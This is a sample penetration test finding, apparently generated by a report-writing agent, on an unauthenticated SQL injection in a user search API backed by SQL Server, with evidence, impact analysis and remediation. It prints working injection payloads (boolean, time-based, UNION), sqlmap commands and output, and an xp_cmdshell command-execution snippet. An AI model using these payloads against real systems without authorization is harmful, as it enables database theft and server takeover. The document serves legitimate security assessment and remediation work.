Sample Output: Generated by the
report-generatoragent. This demonstrates professional penetration test report formatting with evidence, impact analysis, and actionable remediation guidance.
| Field | Value |
|---|---|
| Finding ID | VULN-2024-003 |
| Title | SQL Injection in User Search Functionality |
| Severity | Critical |
| CVSS v3.1 Score | 9.8 |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') |
| MITRE ATT&CK | T1190: Exploit Public-Facing Application |
| Affected System | https://[REDACTED]/api/v2/users/search |
| Affected Parameter | q (query string parameter) |
| Backend Database | Microsoft SQL Server 2019 |
| Authentication Required | No (endpoint is unauthenticated) |
| Date Identified | 2024-09-17 |
| Status | Open |
The user search API endpoint at https://[REDACTED]/api/v2/users/search accepts a query parameter q that is used to search for user accounts by name or email address. The application constructs a SQL query by directly concatenating the user-supplied input into the WHERE clause without parameterization or input sanitization.
The vulnerable code pattern (confirmed via source code review during post-exploitation) follows this structure:
-- Vulnerable query construction (pseudocode from application source)
query = "SELECT id, first_name, last_name, email, department FROM users WHERE "
+ "first_name LIKE '%" + request.params.q + "%' "
+ "OR last_name LIKE '%" + request.params.q + "%' "
+ "OR email LIKE '%" + request.params.q + "%'"This allows an attacker to inject arbitrary SQL statements by manipulating the q parameter. The vulnerability is exploitable without authentication, as the search endpoint is intended for the public-facing user directory feature.
The application runs under a SQL Server service account (svc_webapp) with db_owner privileges on the UserDirectory database and sysadmin membership on the SQL Server instance, significantly amplifying the impact.
The following requests demonstrate the presence of SQL injection by observing differential responses to true and false conditions.
Request, True Condition (returns results):
GET /api/v2/users/search?q=' OR 1=1-- HTTP/1.1
Host: [REDACTED]
User-Agent: Mozilla/5.0
Accept: application/json
Connection: closeResponse (200 OK, all records returned):
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
X-Request-Id: 8f3a2c1d-4e5b-6f7a-8b9c-0d1e2f3a4b5c
Content-Length: 2847593
{
"status": "success",
"count": 49847,
"results": [
{
"id": 1,
"first_name": "Aaron",
"last_name": "Abbott",
"email": "a.abbott@[REDACTED]",
"department": "Engineering"
},
{
"id": 2,
"first_name": "Abigail",
"last_name": "Adams",
"email": "a.adams@[REDACTED]",
"department": "Marketing"
}
// ... 49,845 additional records truncated
]
}Request, False Condition (returns zero results):
GET /api/v2/users/search?q=' AND 1=2-- HTTP/1.1
Host: [REDACTED]
User-Agent: Mozilla/5.0
Accept: application/json
Connection: closeResponse (200 OK, zero records):
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 37
{
"status": "success",
"count": 0,
"results": []
}The differential response confirms that user input is being interpreted as SQL. The true condition (OR 1=1) returns all 49,847 records in the database; the false condition (AND 1=2) returns none.
To further confirm the vulnerability and rule out application-level filtering, a time-based blind injection test was conducted.
Request:
GET /api/v2/users/search?q='; WAITFOR DELAY '0:0:5'-- HTTP/1.1
Host: [REDACTED]
User-Agent: Mozilla/5.0
Accept: application/json
Connection: closeResponse:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 37
{
"status": "success",
"count": 0,
"results": []
}Observed response time: 5,023ms (normal response time for the same endpoint: ~120ms). The 5-second delay confirms that the WAITFOR DELAY statement was executed by the SQL Server backend, providing definitive proof of SQL injection.
Request:
GET /api/v2/users/search?q=' UNION SELECT NULL,@@version,NULL,NULL,NULL-- HTTP/1.1
Host: [REDACTED]
User-Agent: Mozilla/5.0
Accept: application/json
Connection: closeResponse (truncated):
{
"status": "success",
"count": 1,
"results": [
{
"id": null,
"first_name": "Microsoft SQL Server 2019 (RTM-CU18) (KB5017593) - 15.0.4261.1 (X64) \n\tSep 12 2022 15:07:06 \n\tCopyright (C) 2019 Microsoft Corporation\n\tEnterprise Edition (64-bit) on Windows Server 2019 Standard 10.0 <X64> (Build 17763: ) (Hypervisor)\n",
"last_name": null,
"email": null,
"department": null
}
]
}The vulnerability was confirmed using sqlmap with the following command (output truncated for brevity):
sqlmap -u "https://[REDACTED]/api/v2/users/search?q=test" \
-p q \
--dbms=mssql \
--technique=BEUST \
--batch \
--threads=5 \
--level=3 \
--risk=2 \
--bannersqlmap output (key findings):
[INFO] the back-end DBMS is Microsoft SQL Server
[INFO] fetching banner
banner: 'Microsoft SQL Server 2019 (RTM-CU18) - 15.0.4261.1'
[INFO] testing if current user is DBA
[INFO] current user is DBA: True
[INFO] fetching database names
available databases [5]:
[*] master
[*] msdb
[*] tempdb
[*] UserDirectory
[*] HRData
Note: Exploitation was limited to confirming the vulnerability and demonstrating impact. No data was exfiltrated, modified, or deleted during testing. All testing activity was logged and is available for correlation in Appendix C.
An attacker can read the entire contents of all databases accessible to the svc_webapp account, which has sysadmin privileges on the SQL Server instance. This includes:
| Database | Contents | Record Count | Sensitivity |
|---|---|---|---|
| UserDirectory | User profiles (name, email, department, hashed passwords) | ~50,000 | PII |
| HRData | Employee records (SSN, salary, performance reviews, home addresses) | ~12,000 | PII / Highly Sensitive |
| master | SQL Server system database (logins, linked servers, credentials) | N/A | System |
Exposure of the HRData database constitutes a potential data breach affecting approximately 12,000 current and former employees, with regulatory notification requirements under GDPR, CCPA, and applicable state breach notification laws.
With sysadmin privileges, an attacker can:
- Modify, insert, or delete records in any database
- Create new SQL Server logins with administrative access
- Alter stored procedures to introduce backdoors
- Modify audit logs to cover tracks
An attacker could:
- Drop databases, causing complete application failure
- Execute resource-intensive queries, causing denial of service
- Encrypt database files (ransomware scenario) via
xp_cmdshell - Disable or reconfigure the SQL Server instance
Because the service account has sysadmin privileges, xp_cmdshell can be enabled and used for arbitrary OS command execution:
-- This was NOT executed during testing; included for impact documentation
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
-- Would return: CORP\svc_webappThis would allow an attacker to pivot from the SQL Server to the underlying Windows Server operating system, escalate privileges, and move laterally within the Active Directory environment.
Replace all string-concatenated SQL queries with parameterized queries. This is the definitive fix for SQL injection.
Before (Vulnerable):
// VULNERABLE - Direct string concatenation
const query = `SELECT id, first_name, last_name, email, department FROM users
WHERE first_name LIKE '%${req.query.q}%'
OR last_name LIKE '%${req.query.q}%'
OR email LIKE '%${req.query.q}%'`;
const results = await db.query(query);After (Secure):
// SECURE - Parameterized query
const query = `SELECT id, first_name, last_name, email, department FROM users
WHERE first_name LIKE @searchTerm
OR last_name LIKE @searchTerm
OR email LIKE @searchTerm`;
const searchTerm = `%${req.query.q}%`;
const results = await db.query(query, { searchTerm });Add server-side input validation to reject unexpected characters:
// Input validation middleware
function validateSearchInput(req, res, next) {
const query = req.query.q || '';
// Reject inputs longer than reasonable search length
if (query.length > 100) {
return res.status(400).json({ error: 'Search query too long' });
}
// Allow only alphanumeric characters, spaces, hyphens, periods, and @
const allowedPattern = /^[a-zA-Z0-9\s.\-@]+$/;
if (query && !allowedPattern.test(query)) {
return res.status(400).json({ error: 'Invalid characters in search query' });
}
next();
}Deploy a WAF rule to block SQL injection patterns as an immediate mitigating control while the code fix is being developed and tested:
# ModSecurity / OWASP CRS rule example
SecRule ARGS:q "@detectSQLi" \
"id:100001,\
phase:2,\
deny,\
status:403,\
msg:'SQL Injection Attempt on User Search',\
severity:'CRITICAL',\
tag:'OWASP_CRS/WEB_ATTACK/SQL_INJECTION'"
Note: WAF rules are a temporary mitigation, not a fix. SQL injection must be remediated at the code level.
The svc_webapp service account should be restricted to the minimum privileges required:
-- Remove sysadmin role
ALTER SERVER ROLE sysadmin DROP MEMBER [CORP\svc_webapp];
-- Remove db_owner and grant only necessary permissions
USE [UserDirectory];
ALTER ROLE db_owner DROP MEMBER [CORP\svc_webapp];
-- Grant only SELECT on the specific tables needed
CREATE ROLE [webapp_reader];
GRANT SELECT ON [dbo].[users] TO [webapp_reader];
ALTER ROLE [webapp_reader] ADD MEMBER [CORP\svc_webapp];
-- Ensure xp_cmdshell is disabled
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
-- Revoke access to HRData database entirely
USE [HRData];
DENY CONNECT TO [CORP\svc_webapp];-- Disable OLE Automation
EXEC sp_configure 'Ole Automation Procedures', 0;
-- Disable ad hoc distributed queries
EXEC sp_configure 'Ad Hoc Distributed Queries', 0;
-- Disable CLR integration if not needed
EXEC sp_configure 'clr enabled', 0;
RECONFIGURE;After remediation, perform the following tests to confirm the fix is effective:
# Boolean-based test -- should return normal search results, not all records
curl -s "https://[REDACTED]/api/v2/users/search?q=%27%20OR%201%3D1--" | jq '.count'
# Expected: 0 (or results matching the literal string "' OR 1=1--")
# Time-based test -- should respond immediately, not after 5 seconds
time curl -s "https://[REDACTED]/api/v2/users/search?q=%27%3B%20WAITFOR%20DELAY%20%270%3A0%3A5%27--"
# Expected: Response in <500ms# Special character rejection
curl -s -w "%{http_code}" "https://[REDACTED]/api/v2/users/search?q=%27%22%3B%2D%2D"
# Expected: 400 (Bad Request)
# Normal search still works
curl -s "https://[REDACTED]/api/v2/users/search?q=John" | jq '.count'
# Expected: >0 (normal results)-- Confirm svc_webapp no longer has sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin', 'CORP\svc_webapp');
-- Expected: 0
-- Confirm xp_cmdshell is disabled
EXEC sp_configure 'xp_cmdshell';
-- Expected: config_value = 0, run_value = 0sqlmap -u "https://[REDACTED]/api/v2/users/search?q=test" \
-p q \
--dbms=mssql \
--batch \
--level=3 \
--risk=2
# Expected: "all tested parameters do not appear to be injectable"| Resource | URL |
|---|---|
| CWE-89: SQL Injection | https://cwe.mitre.org/data/definitions/89.html |
| OWASP SQL Injection | https://owasp.org/www-community/attacks/SQL_Injection |
| OWASP SQL Injection Prevention Cheat Sheet | https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html |
| MITRE ATT&CK T1190 | https://attack.mitre.org/techniques/T1190/ |
| Microsoft Parameterized Queries (mssql/node) | https://learn.microsoft.com/en-us/sql/connect/node-js/step-3-proof-of-concept-connecting-to-sql-using-node-js |
| NIST NVD: CWE-89 | https://nvd.nist.gov/vuln/categories/CWE-89 |
| PCI DSS v4.0 Requirement 6.2.4 | Software engineering techniques prevent injection attacks |
This finding will be retested during the remediation verification phase. The client has 30 days to remediate Critical findings per the engagement agreement. Evidence artifacts (full HTTP request/response logs, sqlmap output, screenshots) are preserved in the engagement evidence repository.